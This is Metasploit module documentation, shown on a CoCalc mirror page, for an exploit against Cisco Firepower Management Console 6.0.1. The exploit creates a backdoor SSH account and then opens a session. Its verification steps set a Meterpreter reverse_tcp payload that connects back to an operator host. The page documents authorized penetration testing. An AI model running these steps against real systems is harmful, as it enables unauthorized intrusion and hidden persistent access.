CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/linux/http/cisco_firepower_useradd.md
Views: 11789

This module exploits a vulnerability in Cisco Firepower Management Console RCE. It will create a backdoor SSH account via HTTPS, and then obtain a native payload session in SSH.

Vulnerable Application

This exploit was specifically written against 6.0.1 (build 1213). To test, you can find the virtual appliance here:

https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=286271056&release=6.0.1&flowid=54052

Verification Steps

  1. Start msfconsole

  2. use exploit/linux/http/cisco_firepower_useradd

  3. set password [https console password for admin]

  4. set rhost [IP]

  5. set payload linux/x86/meterpreter/reverse_tcp

  6. set lhost [IP]

  7. exploit

  8. You should get a session

Options

USERNAME The username for Cisco Firepower Management console.

PASSWORD The password for Cisco Firepower Management console.

NEWSSHUSER The SSH account to create. By default, this is random.

NEWSSHPASS The SSH password for the new account. By default, this is also random.

SSHPORT In case for some reason, the SSH changed, otherwise this is 22 by default.